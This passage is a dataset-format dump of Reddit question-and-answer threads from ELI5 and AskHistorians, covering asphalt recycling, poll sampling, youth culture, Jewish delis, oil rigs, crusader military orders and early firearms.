paving your driveway, and it works pretty well since it packs together a little over time.", "I used to work for a DOT in their maintenance side. Most paving jobs consisted of some kind of removal of asphalt (although not all jobs). Each job had a contract and the contract would state what happened to the asphalt millings. Usually the DOT tried to keep them, but sometimes they were given back to the contractor. The term we used was RAC (recycled asphalt concrete) or RAP (recycled asphalt product)\n\nIf we kept the millings, we would use it as material, similar to how we would use cold-mix asphalt or gravel. Sometimes we would spread it on old roads that badly needed repaving (but were never going to be repaved for various reasons) or use it to build up eroded sections of road. Some of the other areas had machines that would reheat the RAC to a temperature that melted the asphalt binder (the sticky black tar) and then they could use it to patch potholes. It was probably the ideal choice for RAC however the machines were expensive.\n\nIf the contractor got the RAC, they took it to their yard to use on other jobs. I believe a certain percentage of recycled asphalt can be used when making new asphalt, but there may be stipulations in paving contracts saying whether or not it's allowed. \n\nSome jobs reuse the RAC right on site using this train of machinery. Here's a website that explains it. It's pretty neat. _URL_0_", "Used to work in the industry in WV. We call it Re-grind or millings. Yes it is trucked to a stockpile and then later reused as aggregate in a new mix with certain RAP (reclaimed asphalt pavement)  content. Currently in our state I think the cap on how can be used in a mix is 20-25%. But IMO which may not be the best, I think it's a much worse product the more RAP content in a mix. ", "Asphalt *can* be recycled into new pavement on the spot as claimed by others in this thread, but often isn't because old asphalt mixtures are not the same as new mixtures. Trying to recycle it on location makes it impossible to control the mixture of the new pavement and therefore impossible to apply what has been learned through research on how to make pavements last longer. There's a lot to the technology; too much to provide an answer here. If this is something that really interests you, take some college courses intended for civil engineers.\n\nSimilarly, grinding up old concrete pavement and recycling it into new may work and may in fact be done in some parts of the country, but once again, there is no way to know the strength of the ground concrete as aggregate. Aggregates in concrete don't just extend the cement, they are integral to the compressive strength of the new concrete.\n\nIn my experience, both old milled (BTW, \"milled\" only refers to grinding the material up, not to placing it back down) asphalt and concrete are usually stockpiled on the job site and reused later for non-load bearing uses, or non-critical reuse such as sold for residential driveways.", "What is the environmental/health impact if it's used as an earth fill and let's say an edible garden is placed on top? That is where soil is added atop the aggregate of course. Would there be leachate from that fill?", "If you want some actual numbers on the reuse rate:\n\n\nColumbus, OH resurfacing 2015\n\n\n141,723 tons laid\n27,798 tons included RAP (recycled tonnage)\n\n\nThat's a rate of about 20% which makes sense since it ranges between 10-30% based on the type of asphalt mix being used.\n\n\nAlso, there are a lot of other asphalt types most people don't consider:\n\n\nGTR (ground tire rubber) includes the petroleum (binder) from recycling tires (either manufacturing defects or lightly used).\n\n\nRAS (recycled asphalt shingles) includes the petroleum (binder) from shingles, typically manufacturer defects.\n\n\nAramid Fiber or Fibermat contains a fiber layer or fibers intermixed into the pavement (Kevlar or similar) that distribute stress differently. At this time, it cannot be recycled.", "I am a US Military Engineer who specializes in pavements, primary for use in airfield surfaces.  When Asphalt is milled it turns into small chunks, typically less than 3/4'.  We use these asphalt millings as aggregate in new construction or as an improvised roadway.  \n\nLaying down millings and then rolling it makes an extremely dense and well compacted roadway that can handle pretty large amounts of weight, given that the base course and the sub-grade are up to par.\n\nBut yes Asphalt has many many uses that aren't in a landfill.", "Asphalt plant supervisor from Canada here.\n\nWe purchase the asphalt from companies that are repaving the roads. We then have it crushed down to a usable size (1/2\"). Then when we are producing new asphalt we put in a small amount of this recycled asphalt product (RAP). We are only allowed to put up to 20% RAP back into our mix, due to concerns that the tar (the glue) has lost some of its original characteristics. \n\nRAP is a valuable commodity in our industry, as putting it in our new mix, allows us to use less new tar. Which is extremely expensive.", "Paving/milling crew for 11 years here.  In Pennsylvania, we use milling machines to grind the top layers, usually up to 3.5 inches off the road and load them into the trucks.  The trucks take the millings to our plant where they are further crushed and treated with new asphalt to make what we call RAP(recycled asphalt product). Its of lesser quality than material made with what is called virgin stone.  The RAP can still be used to pave roads, but a lot of highway specs are against.\n\nSources: Im an equipment operator who runs Wirtgen Milling machines and several highway class pavers.", "I use to work with DOT and for us, the old asphalt is piled up in the corner of the staging construction site. It is then picked up and trucked off to a local company that is able to mix it to make new asphalt, since I guess our equipment doesn't do that on site?\n\nThere was newer research a few years ago, and they were concerned that the \"crumb rubber\" that was being reused in the new asphalt was too far gone or filled with too much oils and run off from trucks and cars to be environmentally friendly. Before I left, they were considering awarding research money to the local state university to look into it, but I have no idea how that did/or didn't pan out, or if the research was actually done.  ", "Ok, here's the truth. Some of it gets recycled, but a lot of it gets stockpiled for a long time. I work for a municipality that has a large stockpile of it. The dept of environmental quality made us clean it up, which included digging out a large area of dirt that was under/around the pile because of the chemicals from the asphalt leeching into the soil. There are a lot of roads. There is a huge excess of old asphalt millings out there. I have a friend who owns a piece of land out in the country. In the 1970s, he let the state stockpile it on his property. His land had a huge gully in the middle of it. They dumped it there and filled in the entire area and put topsoil over it. The chemicals made it into a nearby creek that flows into a river that is a drinking water source. The water plant downstream detected it in their tests. They followed it back to the creek and eventually to his property. Now the DEQ wants him to pay to clean it up. If he sold everything he owned, he wouldn't have nearly enough money it would take to clean it up. As far as I know, it's still there leeching into the environment.", "I am not very social on here, but here's something I can add to this conversation.  Asphalt is recycled, mixed, and put back in the road, OR it is ground up and used as-is for dirt dumps.  Loaded trucks and heat from the sun cause compaction.\nNow to add a bit more, another recycled object used for roads is shingles.  Yes, roof shingles.  We grind them up and take out the nails.  Shingles are known to have improved compaction and they already contain some of the oil.  Our asphalt site next door purchases them from us on a constant basis for roads.  \nRecycling asphalt can be somewhat cheaper at times than using shingles.  But at least the shingles are taken out of dumps to be used for a developmental purpose.\n(Please don't ask any questions.  I only log in when I'm drunk or at work.  Both times will lead to some odd responses.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.asphaltpavement.org/index.php?option=com_content&amp;task=view&amp;id=25&amp;Itemid=45"], ["http://www.asphaltrecycling.com/display.php?cnt_id=24"], ["https://en.wikipedia.org/wiki/Pavement_milling"], [], ["http://m.millergroup.ca/paving_construction/pavement_recycling/cold_recycling/index.html"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9flk3g", "title": "how can asking a sample size of 1,003 people give an accurate view of over 250 million people?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9flk3g/eli5_how_can_asking_a_sample_size_of_1003_people/", "answers": {"a_id": ["e5xd4af", "e5xdhkb", "e5xfdw9", "e5y1fzv", "e5y63yt"], "score": [10, 22, 6, 2, 2], "text": ["I mean this is the general premise of most scientific studies, you attempt to test/sample a subset of s larger population. Now the way you choose this sample is important because you are assuming that , the sample contains all variations in a given set of characteristics which defines the population. When you are talking those small numbers it\u2019s unlikely that you can capture all the population variation but this is an inherent limitation to most research, it means that your results are often skewed to the biases of your sample ", "It assumes that you have a properly random sample of the population. Suppose you have a (very large) bag full of millions of balls. You draw out 1003 without looking, and get 600 reds. How confident would you be that close to 60% of all the balls in the bag are red?", "/u/Robertson's analogy about pulling balls out of a bag is a pretty good one for understanding this intuitively. Pull 1000 balls randomly out of the bag and if you get 600 reds you'd probably be fairly confident the balls are 60% red.\n\nIt doesn't really matter whether you're drawing from a bag of 10,000 balls or millions. The chances are you're going to keep drawing much the same proportion of reds.\n\nWe can prove this both mathematically and empirically, and we can use maths to work out how accurate our estimate is.\n\nBUT this only works of your sample is truly random. As /u/scrappy-throwaway says, what if red balls cluster at the top, and you're drawing from the top?\n\nWell then, frankly, you're buggered.\n\nThis \"systematic bias\" is a bigger problem in serious polls. Certain types of people will respond to polls. Telephone polls get better responses from older people, internet from younger. Survey companies put a lot of effort into minimising and controlling for this kind of error.", "Any type of statistical measurement gives up accuracy for feasibly being able to perform the study.\n\nGenerally speaking larger sample sizes are better, but it's unrealistic to think that you can sample all members of a population.  A study with a sample size of 7 is not as good as a study with a sample size of 100.  1000 can generally give you a good ballpark representation provided you do your due diligence to get a representative sample, but in practice this is often not the case. Most studies in social sciences are almost exclusively performed on college students, the elderly, or people who have the time and inclination to reply to junk mailers. ", "Because math.  :)\n\nLet's say you are trying to find out what is everyone's favorite ice cream.  You are going to ask people at random, record their responses and try to make some reasonable estimates from that.\n\nThe first person you ask picks pistachio.  That's...odd, not a common flavor.  Maybe you just got unlucky.  You ask a second person, still pistachio.  Maybe you got really unlucky.  Three more people, three more pistachios, either your assumptions about ice cream are wrong, or you are just getting super unlikely.\n\nWe can actually measure how unlikely you would have to be, in fact, there is a whole branch of math for that, called statistics.  Why you hear they sampled 1003 people and concluded 61%, +/- 3%, of the country prefers pistachio, what they really mean is \"we are 95% sure the number of people who prefer pistachio is between 58% and 64%...we would expect with a survey like this, we would get unlucky in who we picked to ask 1 time out of 20, and the results would not fall within this range.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1gubio", "title": "why is it that the younger generation sets the standard for what is deemed \"cool\" by society?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gubio/eli5_why_is_it_that_the_younger_generation_sets/", "answers": {"a_id": ["canvzal", "canw7ja", "canwegx", "canxasl", "canxyta", "cany187", "cany8mq", "canyqta", "canz7a0", "canz99u", "canzcaz", "canzf12", "canzfkz", "canzomw", "cao03qq", "cao0a08", "cao1caz", "cao1jdk", "cao28vr", "cao2jvs", "cao2r84", "cao39me", "cao3cgf", "cao3epq", "cao3pbx", "cao3rix", "cao48y8", "cao4osu", "cao5b2l"], "score": [110, 2325, 242, 4, 3, 24, 5, 41, 8, 90, 22, 2, 2, 13, 3, 5, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 5, 2], "text": ["because they are the easiest mark to sell to.", "Because they're the only ones who think it's important.", "There's a few things going on.\n\nTeenagers and those in their early twenties tend to care a lot more about being accepted by people their own age. People in their 30's, 40's, and on don't so much. So setting the standard for \"cool\" around people who care the most about the way they look and act around others makes sense for companies trying to sell things.\n\nThe other two things connected to that is that those groups tend to have a lot of disposable income and free time. Teenagers and those in their early twenties typically don't have many costs they have to cover themselves. They live at home or in a dorm, have their food and clothing provided for by their parents, and they often have jobs and/or allowances. They also, typically, spend less time in school then their parents spend at their jobs, and have less responsibility for taking care of the house; they don't have to write out the mortgage and car loan checks. So they have more time to research and look at what's \"cool.\"", "Because the older generation, by definition, are mature enough not to give a shit about that sort of stuff any more.", "the coolest things you can do as a minor are all adult things. Drinking, smoking, driving, sex, etc.", "1) The definition of \"Cool/Fashion\" changes with ages. People knowingly and unknowingly want to establish a pecking order. I am better than the next. \n\nIn the old days it was about emulating kings and aristocracy. At one point being bald was big (you were old and hence smart). At another point being fat and pale was big (fat==rich to have tons of food ... pale==not working in the field).\n\n2) being young is popular right now\n\n3) teens, unable to fit within existing adult pecking order, want to establish own cliques. New ones are easiest.\n\n4) teens are impressionable and impulsive, easier marketing target", "Being cool is much more important in an environment where nobody had the time to distinguish themselves by other means already. So being cool indicates confidence which indicates \"knowledge\" of your own excellence which in turn makes you attractive to both genders in different ways which results in popularity.\n\nELI5: When you are a kid, everybody else is kids. Nobody is very much different in a good way. If you are a cool guy / girl then other people like you. When you are old then it is not so important any more. People get more different when they get older.", "They don't. Some clever, lucky marketing manager creates something and it takes off. ", "They don't, they just think they do. \n\nHonestly its usually the generation between 25 and 40 that looks at that kind of thing and realizes how dumb it is, yet the 'younger' follow it like sheep.", "As someone who will be 40 soon I can answer this simply...\n\nI am tired and don't give a fuck any more.", "Two reasons:\n\n1. Younger people have less patience, so it's easier to market to them.\n\n2. Young people are all pretty much the same. The older you get the more differences pop up. Some people have doctorates and some people are garbage men. All kids, however, are kids.", "Because they're in their sexual prime and they want to present themselves in the most attractive way possible.  The alphas of the age group set the rules of cool and others either emulate, or react against, those standards. \n\nMany people have married off by the time they reach their 30s so they no longer have to worry about making themselves marketable.  ", "I'd say that every group of people, defined by age, gender, location, an more all have their own definitions of what cool is amongst their own friends. The media just follows young people more.", "I believe Craig Ferguson has [addressed this question](_URL_0_).", "Older generations don't give a fuck", "Also.. They are the ones most easily influenced. So the media/advertisers take note and crate fads. ", "Think Ferguson fielded that one awhile ago: _URL_0_", "Ok, this might be hard to ELI5, but I see a lot of people saying that the young people are the ones that care and stuff like that and that they make things \"cool\". Nowadays, however, being cool is more about gadgets, clothes, cars, etc. Those are all designed by people in their 30s or 40s or maybe even 50s. They test them out with the young ones, sure, but they know that with a good publicity campaign, they will have a \"cool\" product. \n\nSo no, the younger generation does not set the standard for what is cool. Companies do, aimed at them, because they will consume it so that they can fit well, which is more important at their age.", "They don't. The corporations do, and they market to the younger generation, who are self-absorbed and in posession of disposable income.\n", "Just wanted to add this. Your question sets up a scenario which isn't that realistic. \"Society\" as a whole doesn't deem what young people do as cool, *young people* themselves deem something cool because the majority of them or influential figures or products tend to be doing it. Most of the rest of society doesn't really give a fuck and just lets the young get on with it, for reasons explained by many of the other comments here, although admittedly there are always going to a minority among older generations that yearn for eternal youth and will therefore copy whatever the young claim as being fashionable. ", "Craig Ferguson has a great take on this. Even though it's a comedic rant, he really is spot on this synopsis why everything is as it is nowadays.\n\n[LINK](_URL_0_)", "They don't.  It's largely an illusion.  \n\nOlder people define and sell \"cool\" to the younger generation for profit in the forms of clothes, music, movies, toys, ads, products, etc.  The younger generation are targeted and commandeered as social media cheerleaders and walking advertisements in order to sell the products.", "Because they're the best looking. Unfortunately, the world is mostly run by physical attractiveness whether directly or indirectly. ", "Disposable income essentially, I'd say. The younger generation has less financial responsibility and so are more likely to spend money on things anywhere from music, movies, clothes, etc etc etc making them the target audience for the companies which promote what's cool through advertising etc. \n", "Actually it's the generation above the \"young\" generation who are producing the culture. The younger generation are just the ones buying it. \n\nEdit: I guess that makes me partially responsible for the 90s, for which I am profoundly sorry. ", "I don't think they do any more.  The music and fashions preferred by teenagers are routinely mocked by adults.", "simple economics. the young kids buy ALOT. so it only makes sense to market to them and get their money.", "Because they are the target demographic for music and clothing, so what they appreciate determines what gets represented in the media.", "They don't, well how young are you talking? Purchasing power is what deem's things cool. 24-35 year old single males specifically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=UKUZ42T9diU"], [], [], ["http://www.youtube.com/watch?v=ROJKEwYEx8Q"], [], [], [], ["http://www.youtube.com/watch?v=UKUZ42T9diU"], [], [], [], [], [], [], [], []]}
{"q_id": "1tpdml", "title": "How did the food we describe as \"Jewish Deli\" come to be?", "selftext": "As far as i know corned beef/pastrami are Irish foods, but how did they become associated with Jewish deli's? \n\nIn Israel these aren't staple foods in a Jewish diet like they are in New York. How did this type of deli evolve to be \"Jewish?\"", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tpdml/how_did_the_food_we_describe_as_jewish_deli_come/", "answers": {"a_id": ["cea6qop"], "score": [25], "text": ["* Brined beef would have been known throughout much of Europe by at least the 17thC, and was known to Peter the Great in Russia and mentioned by a Danish envoy to Russia in 1709. (pg 250-251 *Food in History* Tannahill)\n\n* Pastrami is different from corned beef by way of being smoked, not brined. But, each method would have been known to European 20th-21stC Diaspora.\n\n* Jews arriving in the New World needed a source for Kosher foods, and thus had more motivation than some to insure that they had shops that catered to them. (Tannahill p 304). \n\n* The standards set by these delis exceeded much local competition and they became favorites of a lot of people of all backgrounds in major urban centers in the US that had large enough Jewish populations to get them started."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fhlgh", "title": "how do oil rigs stay stable in ridiculously bad weather?", "selftext": "I remember one day looking out at the North Sea during really terrible weather. The waves were massive and no ships dared to venture out of the safety of the harbour and then it struck me.\n\nHow do OIL RIGS survive the intensity of the sea at its worst?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fhlgh/eli5_how_do_oil_rigs_stay_stable_in_ridiculously/", "answers": {"a_id": ["ck99mbn", "ck9f0xk"], "score": [7, 2], "text": ["They are either anchored traditionally with multiple permenant anchors or are fixed into the sea bed with concrete/steel piles. _URL_0_", "Others have already answered that they are anchored in some way, but watch this documentary [Big Bigger Biggest](_URL_0_) if you're interested, I really like this series as a whole and this episode talks about how the technology used to anchor oil rigs have changed to accommodate larger and larger oil rigs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.rice.edu/nationalmedia/images/platforms"], ["http://www.youtube.com/watch?v=MuGn4SEm79k"]]}
{"q_id": "2qd17s", "title": "why is the wrapping paper and handwriting on the presents from santa the same as the wrapping paper and handwriting on the presents from mom and dad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qd17s/eli5_why_is_the_wrapping_paper_and_handwriting_on/", "answers": {"a_id": ["cn4zi2n", "cn4zj5k"], "score": [2, 2], "text": ["Santa mimics the wrapping paper and handwriting of parents to create doubt.  Children who doubt him are immediately moved to the naughty list which reduces the number of presents he has to deliver and saves him time. ", "Santa can't possibly do the things he does while being a normal human; at the very least, he'd combust due to air friction while travelling. Furthermore, he knows a lot about everyone: what they want, and whether they've been naughty or nice. Now if his information gathering system was human in nature, it would have been discovered by now. Therefore, the most likely answer is that he's a powerful psychic. If that is the case, I suspect the cards and wrappings are a sort of psychic paper that shows you what you expect to see. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "59hond", "title": "How did the different knight orders (i.e. Hospitallers, Templars, Teutonic orders) interact with one another during the crusades in the middle east, and have they ever ended fighting each other?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/59hond/how_did_the_different_knight_orders_ie/", "answers": {"a_id": ["d98yxft", "d99p5vs", "d99rgld"], "score": [97, 141, 148], "text": ["Hello everyone, \n\nIn this thread, there have been a large number of incorrect, speculative, or otherwise disallowed comments, including many asking about the deleted comments, which merely compounds the issue. As such, they were removed by the mod-team. Please, before you attempt to answer the question, keep in mind [our rules](_URL_1_) concerning in-depth and comprehensive responses. Answers that do not meet the standards we ask for will be removed, and while we do encourage *closely related* follow up questions, ones which are only connected on very vague terms are best directed into a new thread, as we will remove ones which are too tangential.\n\n~~This thread is trending high in the subreddit, but those upvotes represent interest in the question itself, and it can often take time for a good answer to be written. We know that it can be frustrating to come in here from your front page and see only *[removed]* and this post, but we ask for your patience and understanding. If you are looking for some interesting content in the mean time, we hope you will check out our [Twitter](_URL_0_), the [Sunday Digest](_URL_5_), or the [Monthly \"Best Of\"](_URL_7_) feature. It is very rare that a decent answer doesn't result in due time, so please do come check into the thread in a few hours. A [Private Message](_URL_4_!) to the [Remind Me bot](_URL_3_) is a good way to remember.~~ See? Patience paid off!\n\nAdditionally, it is unfair to the OP to further derail this thread with off topic conversation, so if anyone has further questions or concerns, I would ask that they be directed to [modmail](_URL_2_), or a [META thread](_URL_6_[META]). Thank you!", "The Crusaders, despite often being depicted as this sort of pan-European initiative, were frequently fractious and prone to prioritizing petty politics over working together. The knightly orders were no different. \n\nOne particular instance of this was the Siege of Ascalon in 1153. Ascalon, which is perhaps best described as the Egyptian counterpart to Krak des Chevaliers, proved a frequent thorn in the side of the Crusaders. And just as the \"Saracens\" would eventually decide to strike at Krak des Chevaliers, the Crusaders eventually decided they were tired of the incessant raids from Ascalon and they would just take the damned thing and be done with it. \n\nWhich, of course, is easier said than done. As described by Sir Steven Runciman, \"Ascalon was a tremendous fortress, spreading from the sea in a great semicircle.\" This was a problem as the Crusaders didn't have naval superiority. The Egyptians were able to sail a fleet into the fortress in June (the siege having begun in February) without the Christian fleet even attempting to stop them. The inability to close off the city meant that it was going to be nigh impossible to starve it out. The risk of a relief force arriving meant that a multiple year siege was a non-option. And that left the Crusaders with only one choice: take the city by storm.\n\nAscalon, however, had some pretty legitimate fortifications. Perhaps not *quite* as impressive as Tyre, where troops from Damascus were able to force the Crusaders to retreat before they reduced Tyre's defenses to a state that made it vulnerable to escalade, but they were well-maintained and would take several months of concerted effort to break. \n\nAt this point in the siege a particularly bizarre sequence of events unfold: the Crusaders had invested most of their resources in an enormous siege tower (perhaps remembering how successful a pair of huge towers proved to be at Tyre?). The defenders managed to conduct a successful sortie and burn the thing down. \n\nAt some point in the night, presumably after the foundations had been weakened by the firing, wind *blew the tower over*, whereupon it crashed into Ascalon's walls. From there, the intense heat of the fire cracked and undermined the walls and ramparts. By the time the next day rolled around, the wall had a breach. The Templars, perhaps believing that this was God's will (how else would they have explained a siege engine, lost on their stretch of wall, opening a breach?), decided that the honor of the attack should go them and them alone. They attacked and they failed spectacularly. \n\nAt this point the Christian forces were largely demoralized. Their great siege engine was burned, the Templars had lost dozens of their finest knights, and the breach was, apparently, unassailable. As the Crusader army wavered, it was the Hospitallers who argued that another effort should be made. This instance of the Hospitallers agreeing with the Templars was apparently so surprising that it swayed the barons and lords that were on the fence, another effort was made, and Ascalon fell. The treatment of the historical records of this event suggests that it was *extremely* unusual for the rival orders to agree on much of anything, which made the Hospitaller argument all the more poignant. \n\nThe Teutonic Knights are a bit more... odd. They didn't come into existence until around the time of the above siege (their roots start about a decade prior). For their first fifty years or so, they were simply a branch of the Hospitallers. The Hospitallers and Templars tended to boast an unusually high percentage of \"Franks,\" so Pope Celestine II decided there should be a German organization of some sort, which he originally flagged as a priory under the Hospitallers. Over time, this eventually evolved into a full-blown military order. But the Teutonic Knights showed up relatively late; their first holding of note wasn't until 1229, shortly after the recapture of Jerusalem, that they'd have a castle worthy of the term. But Jerusalem fell (again) in the 1240's, with this Teutonic castle meeting a similar fate a few decades later. And unlike the 1187 siege by Saladin, there would be no subsequent crusader relief (not that the complete disaster that was the Fourth Crusade helped). The Teutonic Knights are best known for their role in the Northern Crusades and subsequent wars with (then-Christian) Lithuania, not their relatively brief stint in Outremer. \n\nAs for actual battles between the Templars and Hospitallers? I'm not aware of any. They certainly spent a great deal of time and energy trying to outmaneuver or one-up one another (I suspect that trying to out-do the Templars was a contributing factor in the enormous expenses incurred in building Krak des Chevaliers), but I don't believe they ever fought one another in earnest. There were always Muslim armies to fight; fighting fellow Christians was a luxury the perpetually outnumbered knights of Outremer didn't have.  ", "The military orders certainly did fight and compete with each other. Ideally, the Orders were supposed to work together as they served the same master and had the same goals. The various military orders of the Crusades were all subordinate to the Pope and fighting to preserve the Crusader States. In practice however, the orders became powerful landlords and vassals, leading to them being entangled in politics and personal quarrels sometimes bringing them into conflict with each other.\n\nSometimes legal disputes could cause conflict between the orders. There was a long-running one between the Hospitallers and Teutonic Knights. The Hospitallers mistakenly believed that the Teutonic Order was based off a German hospital in Jerusalem, one which the Hospitallers were entitled to control. The Teutonic Knights were actually founded as a German hospital in Acre. Because of this error, the Hospitallers said that they should be placed in charge of the Teutonic Order. Beginning in 1190, this dispute did not end until 1231, when the Hospitallers asked the Teutonic Knights to act as negotiators for them in another legal case in Italy. However, after this date relations were generally cordial. The two orders acted on each others' behalf and guarded each others' holdings. They also fought on the same side against the Templars in the civil war of the 1240s. These property disputes could lead to open conflict, such as in 1197 when the Templars and Hospitallers fought over their rights to an estate in Tripoli. \n\nIn rarer cases, the military orders' secondary role as secular landlords could draw them into civil wars. In 1228 the Holy Roman Emperor Frederick II arrived in the Holy Land. He claimed to be the king of the Kingdom of Jerusalem by the right of his wife, Isabella II of Jerusalem, who died that year. However, the nobility of the Kingdom had instead proclaimed that Frederick and Isabella's young son, Conrad II, would be king. After a short campaign and a series of negotiations, Frederick secured the handover of Jerusalem to Christian control but also antagonised the nobles of the Kingdom, provoking a civil war. The nobles recognised Frederick's rights as regent for his son, but not his right to be king himself. Frederick soon returned home, leaving some Italian supporters to represent his interests in the East. \n\nIntermittent conflicts bubbled away over the following years. In 1241 the Templars attacked the properties of the Hospitallers and Teutonic Knights in Acre because these orders had supported a treaty with Egypt, one that the Templars rejected. War broke out in 1242. Conrad II, then living in Europe, wrote to the people of his kingdom and said that he was now of age and so he had appointed an Italian, Richard Filangieri, to be his regent. This angered the nobility as they believed that the regent needed to be a relative of Conrad's from within the Crusader States, Alice of Champagne. The powerful Ibelin family backed her claims. In addition to this, the Ibelins and Templars supported making peace with Damascus and going to war with Egypt, whilst Frederick's imperial supporters and the Hospitallers  wanted peace with Egypt and war with Damascus. With the Templars, church, and nobles of the Crusader States led by the Ibelins fighting for Conrad, and Filangieri, Hospitallers and Teutonic Knights fighting for Frederick.\n\nFilangieri arrived in the Holy Land in early 1242 and stayed with the Hospitallers in Acre. The Order's stronghold was soon besieged by Ibelin, the Templars, and his supporters, forcing Filangieri to flee abroad. The Ibelins continued to fight the imperial faction, driving them out from their last stronghold of Tyre in 1243. The Crusader States then went to war with Egypt, were defeated, and lost control of Jerusalem.\n\nAnother war broke out between the Temple and Hospital in 1256, ending in 1258. This was triggered by a property dispute between the Genoese and Venetian communes in the Holy Land. The Hospitallers backed Genoa, the Templars Venice. Venice won, though it there's no evidence to show that the two orders directly fought each other this time.\n\nThe military orders sometimes even fought within themselves. One of the early modern grandmasters of the Hospitallers tried to enact a series of moral reforms, expelling prostitutes and the brethren's girlfriends into the countryside of Malta. In response, the brethren overthrew the grandmaster.\n\nThe smaller military orders like the Order of St Lazarus (the Leper Knights) and the English Knights of St Thomas of Acre don't seem to have been involved in these conflicts as heavily, probably because they were minor lords compared to the Temple, Hospital, and Teutonic Knights. In addition to fighting each other in the East, in Europe the military orders often fought other Christians. The orders constantly had to balance their role as ecclesiastics and as secular landlords, often failing to avoid civil conflicts. John Langstrother, the Hospitaller Prior of England, was executed in 1471 in the Wars of the Roses for backing Henry VI against Edward IV. The Scottish master of the Temple fought and died for Edward I against William Wallace at Falkirk in 1298.\n\nSources:\n\nHelen Nicholson, The Knights Hospitaller (Woodbridge, 2001).\n\nNicholas Morton, The Teutonic Knights in the Holy Land, 1190-1291 (Woodbridge, 2009).\n\nDesmond Seward, The Monks of War (London, 1972)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://twitter.com/askhistorians", "http://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "https://www.reddit.com/r/RemindMeBot/comments/24duzp/remindmebot_info/", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "http://www.reddit.com/r/AskHistorians/submit?selftext=true&amp;title=", "https://www.reddit.com/r/AskHistorians/wiki/bestof"], [], []]}
{"q_id": "1a47h8", "title": "How did soldiers in Europe react when guns started to be used on the battlefields?  Do we have diary enteries or letters describing their impressions?", "selftext": "I imagine the soldiers had heard of these new \"gun\" weapons then later have seen a bullet kill the guy standing next to him in the blink of an eye. \n\nOpinions were made, thoughts were had... I want to know what was said.\n\n\n**EDIT:**  In addition to being curious about the gun's first use on the battlefield, I'm also curious about the first battles involving widespread gun use.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1a47h8/how_did_soldiers_in_europe_react_when_guns/", "answers": {"a_id": ["c8tyq0l", "c8u2qc7", "c8u55y6", "c8u58ti", "c8u5gaz", "c8u5pbx", "c8u674n"], "score": [256, 21, 66, 62, 14, 2, 17], "text": ["The first firearm used was called the [Arquebus](_URL_0_). It was rather unreliable. Inaccurate, difficult to load and unable to even pierce the heavy armor of the day. Soldiers began to be armed with the weapon during the Italian Wars of the 16th century. I believe I learned that its first use in combat was in 1525 by the Spanish. \n\nSoldiers would be taken aback by the loud bang produced by the arquebus. Imagine the loudest thing you've heard in life being something heavy falling, tons of people yelling or a pitched battle. Suddenly you are confronted by a loud bang and a smokescreen. The weapons main use was for shock and awe tactics. Plumes of smoke were created by the weapon, and when a group of them were fired at the same time the smokescreen effect could be used tactically to move troops in cover. \n\nDespite the relative weakness of the weapon, the arquebus was an effective tool of war that could be used to shock and surprise enemies. I was going through my Renaissance textbooks trying to find a primary source discussing the arquebus but was unable to find one. I'll update if I come across a passage.", "As a follow up does anyone know how much extra damage would have been done had a ball hit someone wearing mail?", " > then later have seen a bullet kill the guy standing next to him in the blink of an eye.\n\nWell, not quite.  As the top post right now mentioned, early firearms were not at all as effective as the ones we have today.  There were not very many instant-kills with early firearms, and even after hundreds of years of their use they were still rather crude implements.  If you look at the number killed versus wounded in battles during the US Civil War, you'll note there were relatively few who died in battle, even though everyone was using rifles (which were *far* more accurate than early firearms) - [here](_URL_0_), for example, are the counts for the Siege of Vicksburg.  Many more died after the battle due to infections, or by the propagation of various diseases in the ranks.  So even in a time where firearms were so crucial to war, where nearly every part of battle focused entirely on using firearms (only officers carried swords, bayonet combat was a last resort), and where there were several innovations in firearms to make them even more deadly (rifling, gatling guns, various artillery), there still were relatively few deaths from gunshots.\n\nI imagine there are enough soldiers who were killed in the blink of an eye by early firearms, but it's much more likely that someone would get shot once or a few times, be incapacitated, and end up dying of an infection like sepsis or something.", "Am I allowed to twist OP's question a little?\n\nAre there any records of Native American (or perhaps other natives in isolated areas) reactions to gunpowder? It seems interesting since the opposing side would be so used to it, and the natives would have no idea what it is. ", "I remember reading a French medieval diatribe against the use of canons, that indiscriminately kill civilians, that goes through roofs to kill unsuspecting sleepers...\n\nIt was striking that by just replacing a few words you would have a text against nuclear weapons.", "Perhaps slightly off-topic, but I understand that the Chinese used rockets in battle in around the 13th century, and they used gunpowder to make nasty-sounding  grenade-type-things. \n\nI don't know their effects on the opposing army the first time they were used, but I would imagine 'shock and awe'. . . ", "In response to your first question, you need to realize that the development of firearms was more evolutionary than revolutionary. Generations of firearms were developed and refined over centuries, resulting in increasingly effective weapons. Not to say that there weren't a few big jumps in effectiveness produced by innovations, but guns 